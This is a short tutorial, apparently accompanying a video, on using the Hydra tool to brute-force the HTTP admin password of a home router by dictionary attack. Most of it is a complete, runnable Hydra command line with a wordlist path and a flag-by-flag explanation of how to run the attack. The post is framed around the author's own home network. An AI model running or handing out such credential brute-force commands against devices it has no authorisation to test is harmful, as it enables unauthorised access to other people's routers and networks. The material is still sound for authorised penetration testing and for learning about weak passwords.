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What is this?
A basic guide on how to use hydra to crack a http password on a 'home' router.

How does this work?
> Uses a dictionary attack to test for weak or simple passwords on one or more remote clients

What do I need?
> Hydra
> Big dictionary

Name: Hydra
Version: 5.4
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hydra -l admin -P /pentest/passwords/wordlists/g0tmi1k.lst -e ns -t 15 -f -s -vV http-get /

-l = username
-P = password (Looks for a wordlist)
-e ns = checks for 'null' password
-t xx= How many tasks to run at once
-f = exit once it finds the first user/password
-s = connect via SSL
-vV = verbose mode (shows more info) = IP address
http-get = what to crack/method etc
/ = Page to crack - root


This is cut from my final video called "g0tmi1k's home network".
The password HAS to be in the dictionary - so if you use something like, the chances of it being crack is next to nothing!

Video length: 01:21
Capture length: 01:40
Song: Rage Against The Machine - Killing in the Name of (Mr. Oizo Remix)

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